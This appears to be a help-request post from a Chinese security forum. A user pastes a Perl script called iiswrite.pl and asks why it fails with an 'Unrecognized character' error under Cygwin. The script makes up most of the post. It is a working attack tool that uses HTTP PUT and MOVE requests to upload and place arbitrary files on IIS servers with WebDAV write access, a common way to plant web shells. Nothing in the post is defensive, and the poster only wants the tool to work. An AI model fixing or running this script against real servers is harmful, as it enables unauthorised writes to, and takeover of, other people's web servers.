论坛: 编程破解 标题: 请教关于perl的问题??? 复制本贴地址    
作者: killgirl [killgirl]    论坛用户   登录
在cygwin下perl iiswrite.pl
#!/usr/bin/perl
#The iiswrite Script

use IO::Socket;
$ARGC = @ARGV;
print "*" x 60;
print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";
print "*" x 60,"\n";
if ($ARGC != 4)
{
  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";
  exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];

@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];

print "$file size is $size bytes\n";
my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
  print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
  print "upfile Succeed!!!\n" ;
}
else{
  print "upfile faile!!!\n";
}
close $sock;
close FILE;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
  print "Modifyfile Succeed!!!" ;
}
else{
  print "upfile faile!!!";
}
close $sock;


不能编译  为什么出现这


Unrecognized character \xA1 at ./iiswrite.pl line 11. 怎么解决??


地主 发表时间: 04-08-05 10:03

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号